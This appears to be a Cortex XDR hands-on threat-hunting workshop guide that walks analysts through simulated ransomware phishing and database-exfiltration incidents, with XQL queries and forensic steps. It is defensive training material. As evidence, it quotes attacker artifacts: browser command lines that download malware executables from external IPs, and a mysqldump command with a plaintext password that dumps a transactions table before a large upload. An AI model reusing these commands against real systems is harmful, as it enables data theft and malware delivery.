Hands-On Investigation & Threat Hunting Workshop Guide V2 - October 2021 - W - o Machine

Hands-On Investigation
& Threat Hunting

Workshop
http://www.paloaltonetworks.com
© 2021 Palo Alto Networks. Confidential and Proprietary.
1
Workshop Guide - Last Updated Sept 28, 2021
http://www.paloaltonetworks.com
© 2021 Palo Alto Networks. Confidential and Proprietary.
How to Use This Guide

Background
Terminology Used in This Guide
Basic Workflows
Activity 0 – Log in to Cortex XDR

Task 1 – Use a browser in Incognito or Private mode
Task 2 – Log in to view the applications
Activity 1 – Learn about the Incident Management Dashboard

Task 1 – Open the Cortex XDR application and review the default page
Task 2 – Open the incidents page and review the details
Activity 2 – Investigate the High Severity Incident described as ‘Behavioral Threat’

Task 1 – Open and review the incident page
Task 2 – View the Key Assets & Artifacts
Task 3 – View the Process Executions for PC 6 in this incident
Task 4 – Find the Root Cause of all the alerts for PC6
Task 5 – Investigate the Other Alerts in this Incident
Task 6 – Find the Root Cause of the Alerts for PC2 and PC4
Task 7 – Perform Threat Hunting for related files
Task 8 – Review Evidence and Read About Response Actions
Activity 3 – Investigate the High Severity Incident described as 'Hyland Perceptive...’

Task 2 – Analyze the Large Upload (HTTPS) Alert
Task 3 – Find the files or data that was uploaded
Task 4 – Investigate the suspicious file
Task 5 - Investigate the suspicious external IP address
Task 6 – Investigate the other alerts in this Incident
Activity 4 – Investigate the Medium Severity Incident described as 'Uncommon net group...’
Task 2 – Investigate the Uncommon user management alert
Task 3 – Analyze the alert named Multiple discovery Commands...
©2021 Palo Alto Networks

Confidential. Do Not Distribute.
2
Task 4 –Analyze the cmd.exe node

Task 5 – Investigate the other alerts in this incident
Task 6 – Review evidence collected and discuss
Activity 5 – Hunt for Threats related to the above Incidents

Task 1 – Hunt for RDP related threats
Task 2 – Create a rule for malicious RDP activity
Task 3 – Hunt for MySQL related threats
Task 4 – Hunt for logins by suspicious users

3
How to Use This Guide

Background
Imagine this scenario: It is almost the end of April, 2021. You are a security analyst working at a
large retail chain named Company. Company has an online presence and retail stores worldwide
(including in the US, Asia, Australia, Europe, and South America), and each retail store has more
than 20 point-of-sale (POS) machines used by cashiers and customers to complete transactions.
Company also has a complex network, allowing employees remote access through a VPN.
As a retail organization, your environment is constantly at risk from both insider threats and
external adversaries. As your CISO loves reading Unit 42 and Krebs on Security articles, there are
three things he says that keep him up at night:
1. Ransomware attacks from criminal groups that could shut down the network and
company. Details are in the 2021 Unit 42 Ransomware Threat Report.
2. Data theft from insiders and the resulting fine and damage to the Company’s reputation,
similar to what happened to Capital One, as covered in this KrebsonSecurity article.
3. Lateral movement within the company and access to sensitive information.
Terminology Used in This Guide

Tab: refers to the different tabs appearing at the top of each screen in the UI. Could also refer to
the different tabs that appear in information sections that help to organize the information.
Sub-Tab: refers to the options associated with each “Tab” found in the left-hand column on
each screen.
Node or Icon: refers to the different images that can be selected in the visualizations that
appear in the User Interface.
Basic Workflows
Each of the workshop activities will follow this basic workflow:
1. View the incident details and alert details.
2. Analyze the information including networking information, processes, and executables
3. Examine all endpoint activity, such as file operations or registry operations.
The purpose of the investigation workflow is to answer these questions:

● Decide whether the incident and alert are True-Positive or False-Positive.
● Understand where in the attack chain the incident was blocked.
● Understand the root cause and if any follow up actions are required

4
Activity 0 – Log in to Cortex XDR

Note: Always follow your instructor who will provide slides that will walk you through the login
process. The steps below are documented as a reference only.
Task 1 – Use a browser in Incognito or Private mode

Step 1: Use Chrome and open a new browser using Incognito Mode, or use Firefox and open a
new browser in Private Mode.
Step 2: Paste in the URL provided by the instructor. The browser will be redirected to the Palo
Alto Networks Sign in page. If you do not see the Sign In page below, be sure you are using a
browser Incognito or Private Mode. If you see an error message that states “You don’t have
permissions to access Cortex XDR”, then your browser is most likely using your own signed-on
credentials and you will need to log out of Palo Alto Networks services or use a different
browser.
Task 2 – Log in to view the applications

Step 1: Paste in the Email Address provided by the instructor and then click Next.
Step 2: Paste in the password provided by the instructor and click Sign In.

5
Step 3: You will be redirected to the Cortex XDR User Interface and see the Incident
Management Dashboard. To toggle between the light or dark screen modes, click on the gear
icon on the top right and then choose DARK or LIGHT.
This is the end of Activity 0.

6
Activity 1 – Learn about the Incident

Management Dashboard
The Cortex XDR Incidents dashboard is the first page you see in the Cortex XDR app when you
log in and provides a graphical summary of incidents in your environment, with incidents
prioritized and listed by severity, assignee, incident age, and affected hosts.
In this activity, you will:

● Understand how the information in the Incidents Dashboard is organized.
● Understand how the information on the Incidents page is organized.
● Learn some of the possible operations on the Incidents page.
Task 1 – Open the Cortex XDR application and review the

default page
Step 1: The Incident Management Dashboard has 5 panels as shown below - note that your
view might be different than the screenshot below, since the timestamps on the incidents are
older than 30 days. You should return to this dashboard and refresh it after each of the
activities, as changes you make to the Incidents will have their timestamps updated and
reappear after a few minutes.

7
Step 2: Review the information in the various panels. Across the top there are three panels as
described below. Your screen will look a little different
depending on the timeframes and timestamps of the data. As
you work through the workshop the information and
dashboard will get updated.
Panel titled Open Incidents by Severity (Last 30 days): The

Open Incidents summary displays the total number of open
incidents by incident severity. Select a severity to open a
filtered view of incidents by the selected severity.
Panel titled Incidents by Assignee (Top 10|Last 30 days): The

Assigned Incidents graph shows the distribution of incidents by
assignee and shows how many of the open incidents are aged.
Aged incidents have not been modified in seven days. Select
an assignee to open the incidents table filtered to display
incidents only with the selected assignee.
Panel titled Total Incidents: The Total Incidents graph shows

all open incidents over time and shows how many of the open
incidents are aged. Aged incidents have not been modified in
seven days. Select the time range in the upper right to view
the number of open incidents over the last 1D (1 day), 7D (7
days), and 30D (30 days). Hover over the graph to view the
number of open incidents on a specific day.
Across the bottom row there are two panels as described below:
Panel titled Top Incidents (Top 10): The Top Incidents table lists incidents prioritized by alert
severity. Select an incident to view the incident details.
Panel titled Top Host (Top 10|Last 30 days): The Top Hosts area of the dashboard lists the hosts
with the highest number of incidents and the distribution of incidents by incident severity.
Select a host to view all incidents related to that host.

8
Task 2 – Open the incidents page and review the details

Step 1: Across the top, click on the Investigation dropdown and select Incidents, as shown
below. The browser will update and show you the new Incidents view. The list of incidents will
be on the left and a preview of the Incident page will be on the right, similar to some email
clients.
Step 2: Across the top, clear the time filter by clicking on the Last Updated cell and then clicking
on the X to the right of the Last Updated cell. This will display all incidents, even those that are
older than 30 days.
Step 3: Toward the top left, click on the Sort dropdown and if needed, select Severity to
change the sort order, so that you see the High Severity incidents on top.
If needed, change the sort order so that the High Severity incident is on top. You can do this by
clicking on the arrow to the right of the Severity text.

9
Step 4: Left-click on each of the incidents on the left panel and notice how the incident preview
pane on the right changes. We will be investigating each of these incidents later, but feel free to
click through each one, including the blue hyperlinks and the icons with the alerts. These will
give you a little more information about the alerts in the incident.
Step 5 (Optional): Right-click on one of the incidents on the left to view the options that are
available (see screenshot below). We will learn more about these options in the next activities,
but these options can be applied directly from this page, or once the incident page is open.
Change Status: Incidents have the status set to New when they are generated. When starting
the investigation of an incident, it is best practice to set the status to Under Investigation.
Change Severity: The severity can manually be changed to Low, Medium, or High.
Change Assignee: Use this if you want to assign the incident to someone else to investigate.
Star incident: Use this to help manage the prioritization of an incident or alert.
Manage Incident Score: Use this to change the score of the incident, either through a
rule-based score or setting it manually.
Once the investigation is complete, most users change the status to Resolved. And because the
investigation could have various conclusions, the Resolved status is subdivided into the

10
resolution reasons below, so choose the one that is appropriate for your investigation of the
incident:
Resolved - True Positive: Use this if you verified it is a

true security event that caused the incident.
Resolved - False Positive: Use this if the incident is a
false positive and is not a true security event.
Resolved - Security Testing: Use this if this incident
occurred because of known security testing.….
Resolved - Known Issue: Use this if this incident or the
events that caused it is a known issue in your
environment
Resolved - Duplicate Incident: Use this if this is the
same incident as another incident.
Resolved - Other: Use this if the above choices do not
match.

Before continuing, close all browser tabs opened during this
activity.

11
Activity 2 – Investigate the High Severity Incident

described as ‘Behavioral Threat’
In this activity you will explore the Incident details page for a High Severity Incident and then
Analyze and Investigate the alert. The Incident details page aggregates all alerts, insights, and
affected assets and artifacts from those alerts in a single location. From the Incident details
page you can manage the alert and investigate an event within the context and scope of a
threat.
The incident uses a threat alert from NGFW related to malware from this Unit 42 research
article.

Step 1: Return to the tab for the Incidents page. On the left panel, find the HIGH severity
incident with the description starting with ‘Behavioral Threat’, also tagged with ID 26. Click on
it to view the preview on the right panel. Feel free to also click on the hyperlinks for the PCs,
users, and the icons for the alert.
Step 2: On the right preview panel, note the information in the black bar near the top that
summarizes the status of the incident and the number of alerts, hosts, and users. The nodes for
the hosts and users can be clicked on to view more information.
Step 3: Click on the little arrow icon to expand the MITRE ATT&CK tactics and techniques. This
section maps the alerts and behaviors to the MITRE Attack Tactics and Techniques, which is a
well known adversary framework in the security industry. To view the results when Palo Alto
Networks Cortex XDR participated in the latest round of the MITRE ATT&CK® evaluation, read it
here.

12
Optional: Check the ‘Include Incident Insights’ to view all the alerts on the MITRE ATT&CK
mapping
Step 4: The new incident view was designed so that security analysts can glance through
incidents and multiple alerts and still be in easy reach of other incidents if they end up being
similar. If the split view mode is too small for your screen, you can open the incident in a
separate tab. On the left, right-click on the incident and choose View Incident in new tab:
Step 5: Click on Timeline to see how this incident was grouped and the various actions that
were performed since it was first created. This TImeline view is new and shows the logic that
was used to build this incident, as well as any actions security analysts performed as they were
investigating this incident.
Step 6: While in the Timeline view, scroll down to the very bottom. Notice the text that
describes the logic used to group these alerts together.
Step 7: Click on any of the Additional artifacts found dropdowns to expand it. Then click on the
links to view the information about the files involved in this incident.

13
Step 7: Click on the Alerts & Insights tab. You will now see a more detailed view of the 9 alerts
in this incident. Scroll right to view the information in the ACTION column, ALERT NAME
column, DESCRIPTION column, and INITIATED BY column. Note the different files that were
detected and the different browsers in the INITIATED BY COLUMN.
Step 8: Click again on the subtab that is labeled 33 Insights, which are Low level alerts and
Informational level alerts. Scroll right again to view the information in the various columns.

14
Step 9: If any of the Alerts or Insights are interesting to you, you can hover over them and a
little tooltip will appear that allows you to investigate further. This is what it looks like for High
Severity, Medium Severity, or Low Severity alerts, which shows two ways to Investigate Causality
Chain:
For XDR BIOCs, you will see an option to Open in XQL.

15
Task 2 – View the Key Assets & Artifacts

Step 1: If needed, return to the Incident view for Incident ID 26 with the description that starts
with ‘Behavioral Threat’. Then click on the Key Assets & Artifacts subtab.
Step 2: Review the Artifacts section. Use the mouse to hover over anything that looks
interesting, or to click any of the links to get more information.
Step 3: Scroll down to look for any additional Artifacts that look interesting. You should see
several IP addresses that start with 175.45. There are two that are shown below. Click on the
Whois icon or the 3 vertical dots to get some more information about these IP addresses. This
step and the previous step shows how to quickly get threat intelligence about these alerts and
incidents.
Note: the following 3 steps may not be included in the environment due to the fact the data is
presented for past events, you can view what it looks like in the screenshots below.
Step 4: Review the list of Users in the Users section. Move your mouse over them to scroll up
and down. Also click on the AD Groups link to view the Active Directory information for these
users. Then click on the 3 vertical dots and click on Open User View. A new tab will open.

16
Step 4: The new tab that opens in the 360 user view. This view shows all the authentication
information for this particular user, as well as a trend score for the user that is calculated based
on any alerts, incidents or behaviors. The trend score can also be configured through rules.
Note that your view might look different than the screenshot below, which was taken in
September of 2021.
Please choose to show data for the previous 30 Days (by default it is configured to 7 days):
Step 5: If you scroll down, you’ll see more information about the user authentications. You’ll
see the hosts that were logged into, the authentication targets, and the authentication sources.
Any cloud authentications would also be displayed here, if the vendor is a supported vendor.
Scroll down more to see the Recent Logins and Recent Authentications.

17

18
Task 3 – View the Process Executions for PC 6 in this incident

In this next task you will be reviewing the causality diagram for multiple incidents. This table
describes how the different icons are defined.
Icon Description
This icon represents a Cortex XDR Agent security event
Represents an alert from the Palo Alto Networks Next Generation firewall.
Represents an IOC or Indicator of Compromise alert
The number represents any combination of two (or more) alerts
Represents a BIOC or Behavioral Indicator of Compromise alert.
Represents an Analytics alert (not shown)
Represents an Analytics BIOC alert (Not shown).
This causality diagram shows the chain of execution related to the alert, including all involved
processes and other alerts that are in the incident. For more information about the Causality
views, see these TechDocs pages here and here. Causality continuously and automatically
analyzes data to identify the chains of events associated with any process, host, user,
connection or file to reveal the attack-chain behind every threat. It visualizes the causality
(cause and effect) of events - automating the dot-connection process that an investigator would
otherwise have to do manually. The result will be a full root-cause analysis of why an alert was
raised (both detection and prevention alerts), what the potential damage might be and many
notable items that require attention. On the causality diagram, it is also possible to right click on
the process nodes in the chain to perform actions like view child processes or show parent
process, Investigate in timeline, blacklist a process, Search file on all endpoints, open in
VirusTotal, Open Hash view, and others.
with ‘Behavioral Threat’. Then click on the Executions subtab.

19
Step 2: Look at the causality chains for PC6. You’ll see that iexplore tried to open a file named
Wonder_Woman_1984_extended_cut.exe that caused a sequence of events that led to
multiple alerts. Click on the Expand link on the upper right hand corner of the causality chain
frame.
Step 3: Click on the various nodes and icons in the causality chain. Try to look for information
about where the file was downloaded from or saved to. You will also see multiple alerts that
are marked as Detected (Reported) - some multiple times - to demonstrate the different levels
of protection offered on the Cortex XDR agent.
Behavioral threat detected (rule: bioc.pp.ransom_prevention_final)

Behavioral threat detected (rule: bioc.uac_bypass_lua_utils_dcom)
Suspicious executable detected
Suspicious process executed with a high integrity level
Suspicious file modification detected
Step 4: Click again on the iexplore.exe node. then view the information under CMD to see that
iexplore opened this URL:
http://175.45.176.50/files/Uploads/Wonder_Woman_1984_extended_cut.exe

20
When clicking on one of the nodes or icons in the chain of Causality section, the data in the
information section (below the diagram) refreshes to show information about the node or icon,
such as the path, hash values, command line argument, WildFire verdict, and more. Different
node types or icons will show different information.
When clicking on another node in the chain of Causality section, the data in this section
refreshes to show all the raw data related to the process by their type, for example files that
were accessed, connections made, and more.
Step 5: On the left side of the screen, view the blue node with the
iexplore.exe label underneath it.
Then hover over the blue iexplore.exe node to read more information
about the process, as well as the ANALYTICS PROFILES about the process.
Note: This node and any node that is selected will be colored blue or red, as opposed to the
white color for the other nodes. Red nodes will have one or more alerts associated with it, and

21
blue nodes will not. The number in each node represents the number of child processes that
were started by that node
Step 5: Select the security event icon for iexplore.exe and scroll down and view the information
in the OBSERVED BEHAVIORS tab. Note the information in the DESCRIPTION column with the
text below. You can also hover over the cell to see a tooltip for all the information.
Process Information - Command Line: "c:\program files\internet
explorer\iexplore.exe"
http://175.45.176.50/files/uploads/wonder_woman_1984_extended_cut.exe
Step 6: On the right, hover over the red node labeled with Wonder_Woman_1984... and read
the PROCESS INFORMATION and ANALYTICS PROFILES.

22
Task 4 – Find the Root Cause of all the alerts for PC6
Step 1: Now view the information using the timeline view. This can be done by right-clicking on
any of the nodes and then selecting “Investigate in timeline”. In the diagram that opens up,
you can select a time frame to zoom in on the nodes and then you can click on the Alerts to
view them. The information toward the bottom of the screen will change as you click on each
alert node, and will match the information you saw in the previous step.
Step 2: In one of the previous tasks, we know by the causality diagram and informational pieces
that iexplore.exe downloaded this file from
http://175.45.176.50/files/uploads/wonder_woman_1984_extended_cut.exe. Now let’s look at
what else triggered the download by clicking on the iexplore.exe node toward the left of the
screen.
Step 3: If needed, return to the Causality view and click on the iexplore.exe node. Then scroll
down a little bit and review the information in the tables. Depending on your window size you
will also need to scroll horizontally to the right to reveal the relevant columns. Click the FILE tab
and then sort by the FILE_NAME column to confirm the different operations for the file named
Wonder_Woman_1984_extended_cut.exe.

23
Step 4: Right-click on the iexplore.exe node and select View

children to see if the process spawned anything interesting.
Optionally, you can also try the other options in the right click
menu.
Step 5: View the list of child processes to see if anything is

interesting. Nothing stands out. Optionally, you can select one or two then press the Ok button
to see how it changes the causality screen.
Step 6: If needed, click the Cancel button to go back to the causality view. Now right-click on
the iexplore.exe node and select Show Parent. The causality view will be updated as shown in
the screenshot below.
Step 7: Hover over outlook.exe to view the analytics profile for that executable. Notice that
outlook.exe is only seen on this single host.

24
We now know that the user named diana.prince was reading her email and then a user action
opened iexplore.exe and downloaded the file. This is confirmation that this was a phishing
attack.
Press the little X on the top right of the dialog to close the causality view and continue to the
next task.
Task 5 – Investigate the Other Alerts in this Incident

with ‘Behavioral Threat’ and click on the Executions tab again. Then Expand the causality for
PC6 and the chrome.exe process.
The diagram shows that the WF alert from the Firewall was stitched with data from the
endpoint, to visually show that chrome.exe was the process that caused the network traffic.

25
Step 2: Right-click on chrome.exe and choose show parent, you will see that it was not opened
by outlook.exe but opened by explore.exe instead.
Question: do we have enough information here to show what other sites were opened by
chrome?
Step 3: Press the little X on the top right of the dialog to close the causality view and continue
to the next task. Scroll down to PC4 to expand the diagram for Group owner firefox.exe. Click
on expand again to view it.

26
Step 4: If needed, click on the + icon to zoom in on the diagram. The left side of the diagram
will show that firefox.exe made a connection to 175.45.176.130 and triggered a PAN NGFW
alert. The file detected by NGFW is Aquaman_2_Trailer.exe.
Step 5: Click through all the alert icons again and confirm that you see the alerts listed below:
Behavioral threat detected (rule: bioc.pp.ransom_prevention_final)
Behavioral threat detected (rule: bioc.uac_bypass_lua_utils_dcom)
Suspicious executable detected
Suspicious process executed with a high integrity level with Description Process
command line: "C:\Users\arthur.curry\Downloads\Aquaman_2_Trailer.exe" .
Suspicious file modification detected
Step 6: Right click on the firefox.exe node and select Show parent. Do this a second time if
needed, and confirm that you do not see outlook.exe here.

27
Step 7: Press the little X on the top right of the dialog to close the causality view and continue to
the next task. Scroll down to PC2 to expand the diagram for Group owner msedge.exe. Click on
expand again to view it. This is another example that shows how Cortex XDR can stitch network
data with endpoint data, since we see msedge.exe make a network connection 175.45.176.120
and a Wildfire alert from PAN NGFW.
Step 8: Press the little X and continue to the next task.
Task 6 – Find the Root Cause of the Alerts for PC2 and PC4
In the next task we are going to utilize the forensics add-on which provides investigation into
artifacts collected by triaging data in the host using various components such as browser logs,
remote access tools logs, windows artifacts, MFT and more.
Previously we saw that msedge.exe, chrome.exe, and firefox.exe downloaded ransomware from
different hosts. But what we don’t know is how they found or came across the malware.
Step 1: Add-on > Forensics
Step 2: Triage > browser history
Step 3: use the filters in the user column and filter for barry.allen. look for Edge Anaheim and
right click that row to select Additional data then View in new tab.

28
Step 4: View the browser history and you will see Titles like Outlook, Mail - XDR Labs - Outlook,
The Flash: Warner Bros. Confirms Ron Livingston Recast, Justice League: Warner Bros. Opposed
Flash's Climactic Moment - The Direct, and others.. This confirms that the user barry.allen uses
the Edge browser to read his email, as well as read about the Flash and the Justice League. So
it’s likely that he was also the victim of a phishing attack like the user diana.prince.
Step 5: Return to Triage and Browser history, use the filters in the user column and filter for
arthur.curry.

29
Step 6: View the browser history and you will see Titles like outlook, Aquaman 2, and aquaman
trailer. It appears that the user arthur.curry is a fan of Aquaman so would be susceptible to a
phishing attack to download the file aquaman_2_trailer.exe
Step 7: Use the filters in the user column and filter for diana.prince and chrome.

30
Step 8: In the new tab, scroll down and confirm you see URLs and Titles related to Wonder
Woman and Microsoft and Outlook. This is forensics evidence that the user was using chrome
to read email and may have accidentally clicked on a phishing email and downloaded the file we
saw in the previous activities.
Task 7 – Perform Threat Hunting for related files

Step 1: If you have not already done so, go back to the incidents page, click on Incident ID 26,
then click on Key Assets & Artifacts.

31
Step 2: In the Artifacts section, view the Wildfire report and also the Autofocus tags. Threat
Intelligence confirms that this file is malware and malicious.
Note: Autofocus tags may be unavailable in the tenant.
Step 3: In the Artifacts section, click on the VT link
Step 4: In the browser tab that opens for VirusTotal find Palo Alto Networks and confirm that it
shows a detection of Generic.ml. Look at some of the other detections and you’ll see that
DarkSide or Darkside is common. This threat actor was covered in this Unit42 blog titled
DarkSide Ransomware Gang: An Overview. Review the blog as time permits.
You can close this browser tab when you are finished.

32
Step 5: Now, assume that your company has subscribed to the TAXII feed as described in the
blog above, or some other threat intelligence feed. Assume now that you received notification
of a new variant of the DarkSide ransomware with these two SHA256 hashes:
● bec319df9d915b37f1a9713b5ad6bad63582474fa968177fbf0bb45926b8a8c8
● 2dcac9f48c3989619e0abd200beaae901852f751c239006886ac3ec56d89e3ef
We will perform an XQL query to search for these files. Go back to the browser tab for Cortex
XDR, and select the Investigation > Query Builder menu option and click on XQL Search. XQL is
the XQL Query Language described in this techdocs page.
Step 6: In the query field on the top, paste the text below into the XQL query field. But don’t
press Run yet.
dataset = xdr_data // go over xdr data
| filter event_type = FILE and (event_sub_type = FILE_WRITE or event_sub_type =
FILE_OPEN) // go over file write events
|filter action_file_sha256 in
("bec319df9d915b37f1a9713b5ad6bad63582474fa968177fbf0bb45926b8a8c8","2dcac9f48c3989619
e0abd200beaae901852f751c239006886ac3ec56d89e3ef")
|fields agent_hostname as hostname, agent_ip_addresses as ip_address, action_file_path
as file_path, action_file_sha256 as file_hash
Note: if the copy to the XQL query is showing errors in the syntax, please fix the query to be like
the following:
Step 5: On the top right click on the Custom button to change the timeframe so that it
matches the historical data in this workshop. The timeframe of March 1, 2021 through the
current day.

33
Step 6: After selecting those dates, click anywhere else in the XQL Query screen, then click the
Run button to execute the query. After a few seconds, you will see four results, which indicates
that the files with these SHA256 hashes exist on the endpoint.
Based on the names of the files in the FILE_PATH column, the files may have been temporarily
written to disk and not opened.
Step 7: Use your mouse to hover over any of the results and you will see an icon appear toward
the right. Use that to select Investigate Causality Chain.
Step 8: This will open a new browser tab that shows the causality screen below.

34
Click on the iexplore.exe node labeled with CGO. Confirm in the Information Section that
iexplore.exe was used to download the file from 175.45.176.110
Step 9: Click on Show Parent for the iexplore.exe node to confirm that outlook.exe. This is
additional evidence that this user has fallen victim to additional phishing emails and opened
malicious links within their email client. Now right-click on the file node to view the possible
actions.
Step 10: This shows you some additional investigation options as well as response options.
Since the endpoint is not connected, the two options named Terminate process by hash and
Quarantine cannot be performed. But, you can use Open in VirusTotal to confirm the file is
malicious.
Step 11: (Optional) Repeat the steps above for the other hash that was returned by the XQL
query performed in around Step 6.

Step 1: This turned out to be a long exercise...Peter needs to take a break and then summarize
this.
Step 2: Review evidence collected

● This incident shows that malware was downloaded by multiple users
● One user downloaded the file via outlook and a browser, other users downloaded it
directly from their browser
● Forensics searches through the browser history showed that other users read email via
webmail and their browser instead of via outlook.
Step 3: Think about the response actions that should be performed. Now that we understand
what happened, we need to respond to the incident.

35
Step 4: Do you agree with the below statements and the answers in green?
● Decide whether the alert is True-Positive or False-Positive: It is a True-Positive alert.
● Understand where in the attack chain it was blocked: It was blocked when it was
executed on disk. Some of the network connections were not blocked on the NGFW - they were
only “Detected (Raised an Alert)”
● Understand the root cause: User downloading a zip file to the downloads directory, and
then opening it and executing it.
● Understand if any follow up actions are required: Isolate the machine, and either format
to clean the relevant artifacts, or use Live Terminal to delete them and remove all persistence
methods.

activity.

36
Activity 3 – Investigate the High Severity

Incident described as 'Hyland Perceptive...’
In this activity you will explore the Incident details page for a High Severity Incident and then
Analyze and Investigate the alerts. Even though there are multiple alerts, and some are even
medium or high severity, your CISO is concerned about Data Theft and Exfiltration, so we will
investigate this Large Upload (HTTPS) alert first..
As part of the investigation you will understand why the alert and incident triggered, attempt
to determine the root cause, and try to come to a conclusion if there is any damage or loss of
information.
Note: These steps below are meant to be a guide and do not cover every single screen or table
during the investigation. Feel free to click around and view other tables or screens that look
interesting, and feel free to ask your instructor if you have questions.

Step 1: Return to the Incidents screen by selecting Investigation > Incidents. Click again on the
various links for Incident ID 19 (“Uncommon net group…”) and ID 32 (“Hyland Perceptive
Content”). Note that the username of company\svc-dbadmin is in both incidents.
Step 2: Since the previous activity used the main incident view, we will go a different route for
these incidents. Feel free to use any view you wish, the steps that follow will still work. Right
click anywhere on Incident ID 32 and click Open in new tab.

37
Step 3: Repeat the steps you used before to examine the information in the Overview tab, be
sure to expand the MITRE ATT&CK section and note the hosts and users.
Step 4: Click on the Timeline subtab, and expand each of the sections named Additional
artifacts found. Note that none of the artifacts in this alert are identified as Malware.

38
Step 5: Click on any of the links for the hosts, such as web-staging-1 or IT24968. This will open
a little popup on the right so you can view more information about that host.
Step 6: Click on the Alerts & Insights subtab and review the various alerts.
Task 2 – Analyze the Large Upload (HTTPS) Alert

Note: In general, if an incident has more than one alert, investigation is performed in severity
order (e.g., analyzing high-severity alerts, then medium, then low). But in this case your CISO is
concerned about Data Exfiltration, so we will start with that alert first.
Step 1: Scroll to the right to view the various alert names, alert sources and descriptions. One
of the alert names is Large Upload HTTPS that shows 1.5 GB was uploaded to amazonaws.com.
Step 2: Right click on that line and select Investigate Causality Chain > Open Card in new tab. (Or
you can use the same step in the previous task and hover over it to select Investigate).

39
Step 3: On the top left, click on the lightbulb icon to read more about this alert.
Step 4: Toward the bottom of the browser in the shaded area, read the Alert Description and
the MITRE ATT&CK tactic number. Feel free to click on it to read more information. Notice the
description that includes 1.5GB of data that was uploaded versus only a small amount that was
downloaded. These data points describe how the Analytics Detection algorithms work - the
calculation takes into account both directions to reduce false positives. More information can
be found here.
Step 5: Scroll down a little more then view the data in the NETWORK CONNECTIONS tab that
shows the network session information as logged by the Palo Alto Networks NGFW, as well as
the process information as logged by the Cortex XDR agent. Be sure to view the information in
the APP_ID column, the SESSION_DOWNLOAD column the SESSION_UPLOAD column, and the
SRC_PROCESS_PATH column. Notice also that the DST_HOST column shows
wt-prod-useast1-storm-s3asaservice.s3.amazonaws.com
(what is wt-prod? last time it showed wetransfer file transfer service named wetransfer.com.)
Step 6: Now right click on any row to view the data in XQL. Select View in XQL > New tab.
A new browser tab will open. Continue to the next task.

40
Task 3 – Find the files or data that was uploaded

Step 1: In the new browser tab, an XQL query will automatically run. It may take 10 seconds or
so, but should return a single result.
Step 2: In the single line, use right-click to select Investigate Causality Chain > Open Card in new
tab. In the new tab, you will see the diagram below. This is a different visualization of the same
Large Upload (HTTPS) alert that shows data traversing the firewall.
Step 3: Click on the left-most chrome.exe node that is labeled with CGO. Note how the data on
the bottom of the screen refreshes, and also the message about the remote terminal session:
Step 4: We need to look for the files that Chrome read on disk and then uploaded to the
52.217.164.193 IP address in the diagram. So scroll down and then click on the FILE tab. Then
use the filter in the ACTION_TYPE column and select FILE READ. Then click anywhere else on
the screen to refresh the data.

41
Step 5: Scroll right and find the FILE_SIZE (BYTES) column and click on it so that it is sorted in
descending order, with the larger numbers on top. Then look at the FILE_NAME and FILE_PATH
columns. We now know that chrome read a file named staging_dump.sql that is 1.5 GB or
1,592,670,136 bytes.
Task 4 – Investigate the suspicious file

Step 1: At this point we only know that the staging_dump.sql file was read by chrome.exe. To
determine how the file was created, we will use an XQL Query. Select Investigation > Query
Builder and then click on XQL Search. Create a custom date starting from Sept 1, 2021 to the
current day.

42
Step 2: Copy and paste the text below into the query box. This query will look for all file writes
for the staging_dump.sql file and then display the processes involved. Then click Run
dataset = xdr_data // Using the xdr dataset
| filter event_type = FILE and event_sub_type = FILE_WRITE and
lowercase(action_file_path) in ("c:\temp\staging_dump.sql") // Filtering by
event type of write to see how the staging_dump.sql file was created
| fields actor_process_command_line as command_line,
causality_actor_process_image_name as Process_name, action_file_path as
File_read_by_process, action_file_size as File_size // Selecting the
command line, process name, directory and file read, and file size
Note: if the copy to the XQL query is showing errors in the syntax, please fix the query to be like
the following:
Step 5: Query results will show a command prompt was used to create the staging_dump.sql
file, and the command was"c:\Program Files\MySQL\MySQL Server
8.0\bin\mysqldump.exe" -p3306 -h172.16.20.25 -utest -pChangeme123! TEST
TRANSACTIONS
Step 6: on the line with the mysqldump command, right click to select Investigate Causality
Chain > Open Card in new tab.
Step 7: In the new tab, in the diagram, hover over the mysqldump.exe node and view the
PROCESS INFORMATION and ANALYTICS PROFILE.

43
This shows the user ran a mysqldump command to connect to a host with IP of 172.16.20.25
over port 3306. The ANALYTICS PROFILE shows that the mysqldump.exe is also unique in the
environment.
Step 8: Click on the NETWORK CONNECTIONS tab and then scroll right to view the destination
IP in the DST_IP column and port in the DST_PORT column. This is evidence that the Source
machine with IP of 172.16.20.65 connected to another machine over MYSQL. Since they were
on the same subnet, they most likely did not traverse the firewall.
Step 8: Now click on the right most node in the diagram and note the FILE ACTION on the
bottom. This shows that the mysqldump.exe file and the command above was the process that
created the staging_dump.sql file, most likely with a windows command line this:
"c:\Program Files\MySQL\MySQL Server 8.0\bin\mysqldump.exe" -p3306
-h172.16.20.25 -utest -pChangeme123! TEST TRANSACTIONS >>
c:\temp\staging_dump.sql

44
Step 9: The next important step of investigation is to determine what are the contents of the
file. Normally, we would recommend a Live Terminal Session be opened to that source device
using the Actions button on the top right, then Open Live Terminal. But the device is not
available. This is what the Live Terminal Session would look like in case opened using the quick
launcher (Ctrl + Shift + X).
Step 10: When the screen finishes loading, click on the Command Line option on the left.
Then paste these commands into the bottom part of the screen:
hostname
ipconfig
Then type Shift+Enter to execute the commands on the web-staging server.
The output will confirm that you are running commands on the web-staging server.

45
Step 11: Now paste these commands into the bottom of the screen:
cd C:\TEMP
more staging_dump.sql
Then type Shift+Enter to execute the commands. A lot of information will scroll on the screen.
You can press CTRL-C to stop it. You will need to scroll up to view the information.
Scroll up to the start of the command and confirm you see the HOST and Database information,
along with the CREATE TABLE command.
Then scroll down a little more until you see the Dumping data for table `TRANSACTIONS` text.

46
Alternatively, you can use the File Explorer option on the left and navigate to C: and then Temp
to download the file to your local machine. If the file is too big, it is extra credit to break up the
file and then download it.
Task 5 - Investigate the suspicious external IP address

In the previous tasks, we saw that a remote terminal services connection was initiated from
4.0.0.100 to the web-staging-1 machine, which dumped information from a mysql database to
disk, and then 1.5GB was sent to an external IP address.
So the next logical step would be to hunt for all ms-rdp connections to and from that IP address.
Step 1: Select the Investigation > Query Center menu, then look for a pre-defined query named
QUERY-24.
On that line right-click and select Rerun query.
Step 2: In the new tab, review the query parameters show ms-rdp and timestamp between Sep
19th and Sept 29th.

47
Step 3: Look through the results, and confirm that you see RDP connections to and from
4.0.0.100 and the USER_NAME of company\svc-dbadmin.
Step 4: Scroll right and confirm the information you see in the FW_SERIAL_ID,
FW_DEVICE_NAME, FW_RULE, VENDOR, and PRODUCT Columns.
Step 5: Based on the dates and times this shows that multiple RDP connections were initiated
